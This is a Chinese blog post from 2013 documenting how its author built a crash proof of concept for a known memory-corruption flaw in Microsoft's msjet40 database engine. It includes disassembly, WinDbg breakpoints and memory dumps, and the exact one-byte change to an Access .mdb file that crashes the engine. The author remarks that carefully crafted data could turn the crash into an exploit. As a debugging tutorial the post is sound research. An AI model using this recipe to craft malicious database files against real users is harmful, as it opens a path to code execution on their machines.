注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

且行且记录

点滴记录,行的更远!

 
 
 

日志

 
 

做个简单的poc  

2013-09-16 11:44:47|  分类: 调试记录 |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |

做个简单的POC

Hcper @ 2013914星期六

 

Msjet40漏洞已有利用程序,用它的poc可以弹出计算器。不过这都是他人的,我自己还没构造过poc呢,所以我这里也构造一个。这里的poc只是是他奔溃。

 

这个漏洞是因为某个word值没有做范围限制,导致可以设置一些值,使指针定位错误!

用现有的poc分析找到如下地方就是。

1B011264 push    ebx

1B011265 push    esi

1B011266 mov     esi, dword ptr [esp+10]

1B01126A push    edi

1B01126B mov     ebx, 1

1B011270 mov     ax, word ptr [esi] 这里esi指向文件内容

1B011273 cmp     ax, 0FFFF

1B011277 jnz     short 1B011284

...

1B011284 mov     edi, dword ptr [esp+10]

1B011288 cmp     ebx, 0FF

1B01128E jge     short 1B011279

1B011290 movsx   eax, ax 有符号扩展

1B011293 mov     ecx, dword ptr [edi+eax*4+B0] 到这里做偏移的eax还没限制范围!

1B01129A mov     edx, dword ptr [ecx]

1B01129C call    dword ptr [edx+10]

...

 

问题:如果知道某个地方有漏洞,那如何构造这个poc

如果真要分析构造的话,那就要一层一层往上找到相关调用,直到遇到从文件读数据的地方。

这里面的条件、分支估计很多,难度应该很大。

一般情况下,我们可以用现有的正常文件先试试看,碰碰运气,看它能不能恰好命中这个地方,如果不行的话,在上一层调用下断点,看能不能命中,不行再上层。。。

越往上调用函数越来越多,所以任务艰巨。

 

而对于msjet40这个漏洞,我们先用Access建一个空数据库文件后打开,在函数1B011264下断点,看它是否命中。这里很幸运不用往上就断下了。

0:006> ba e1 1B011264 ".echo ====hit 1B011264====;g"

====hit 1B011264====

====hit 1B011264====

====hit 1B011264====

====hit 1B011264====

运行到下面过后,就可以dumpesi看看具体内容了。

1b011266 mov     esi,dword ptr [esp+10h]

1B01126A push    edi

下命令ba e1 1B01126a ".echo ====hit 1B01126a====;db esi-40;g"

输出

0:007> g

====hit 1B01126a====

02a4d10d  14 06 00 00 09 00 00 00-41 00 74 00 88 00 00 00  ........A.t.....

02a4d11d  00 00 59 06 00 00 00 00-00 00 00 00 00 00 00 ff  ..Y.............

02a4d12d  ff ff ff 00 00 00 00 04-04 00 00 00 00 00 10 00  ................

02a4d13d  4f 00 62 00 6a 00 65 00-63 00 74 00 49 00 64 00  O.b.j.e.c.t.I.d.

02a4d14d  ff ff 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

02a4d15d  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

02a4d16d  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

02a4d17d  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

====hit 1B01126a====

02a4c392  00 00 00 00 59 06 00 00-00 00 00 00 00 00 00 00  ....Y...........

02a4c3a2  00 ff ff ff ff 00 00 00-00 04 04 00 00 00 00 00  ................

02a4c3b2  04 00 49 00 64 00 18 00-50 00 61 00 72 00 65 00  ..I.d...P.a.r.e.

02a4c3c2  6e 00 74 00 49 00 64 00-4e 00 61 00 6d 00 65 00  n.t.I.d.N.a.m.e.

02a4c3d2  09 00 04 06 00 00 05 06-00 00 08 00 02 06 00 00  ................

02a4c3e2  03 06 00 00 0d 00 08 06-00 00 09 06 00 00 10 00  ................

02a4c3f2  0e 06 00 00 0f 06 00 00-0f 00 0c 06 00 00 0d 06  ................

02a4c402  00 00 0e 00 0a 06 00 00-0b 06 00 00 0c 00 06 06  ................

====hit 1B01126a====

02a5b0ad  ff 00 02 12 00 00 13 00-00 00 00 00 00 00 89 00  ................

02a5b0bd  00 00 00 00 59 06 00 00-00 00 00 00 00 00 00 00  ....Y...........

02a5b0cd  00 ff ff ff ff 00 00 00-00 04 04 01 00 00 00 00  ................

02a5b0dd  0e 00 41 00 4f 00 49 00-6e 00 64 00 65 00 78 00  ..A.O.I.n.d.e.x.

02a5b0ed  ff ff 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

02a5b0fd  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

02a5b10d  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

02a5b11d  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

====hit 1B01126a====

02a5b0ad  ff 00 02 12 00 00 13 00-00 00 00 00 00 00 89 00  ................

02a5b0bd  00 00 00 00 59 06 00 00-00 00 00 00 00 00 00 00  ....Y...........

02a5b0cd  00 ff ff ff ff 00 00 00-00 04 04 01 00 00 00 00  ................

02a5b0dd  0e 00 41 00 4f 00 49 00-6e 00 64 00 65 00 78 00  ..A.O.I.n.d.e.x.

02a5b0ed  ff ff 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

02a5b0fd  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

02a5b10d  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

02a5b11d  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

 

这里更改ObjectId后面的数据

0:000> eb esi ff fe

0:000> db esi-40

02a4f10d  14 06 00 00 09 00 00 00-41 00 74 00 88 00 00 00  ........A.t.....

02a4f11d  00 00 59 06 00 00 00 00-00 00 00 00 00 00 00 ff  ..Y.............

02a4f12d  ff ff ff 00 00 00 00 04-04 00 00 00 00 00 10 00  ................

02a4f13d  4f 00 62 00 6a 00 65 00-63 00 74 00 49 00 64 00  O.b.j.e.c.t.I.d.

02a4f14d  ff fe 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

02a4f15d  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

再继续往下运行,出错!

eax=fffffeff ebx=00000001 ecx=00000000 edx=02a4f008 esi=02a4f14d edi=0252f210

eip=1b01129a esp=0013dc88 ebp=0013dd94 iopl=0         nv up ei ng nz ac po cy

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293

msjet40!Ordinal103+0x6d9b:

1b01129a 8b11            mov     edx,dword ptr [ecx]  ds:0023:00000000=????????

 

所以可以确认在上面的地方更改可以导致奔溃!现在用ue打开数据库文件

查找上面的内容“14 06 00 00 09 00 00 00 41 00 74 00 88 00 00 00

即可唯一找到文件内容,把文件中相应的地方对照上面内存修改的内容相应修改即可。

 

我这里修改如下

D:\Temp\jet>fc /b db1_ok.mdb db1_ng.mdb

正在比较文件 db1_ok.mdb DB1_NG.MDB

0000314E: FF FE

 

这样一个简单的poc就构造好了,运行后就奔溃了!如果精心构造数据的话,那就可以利用了。

  评论这张
 
阅读(289)| 评论(0)
推荐 转载

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017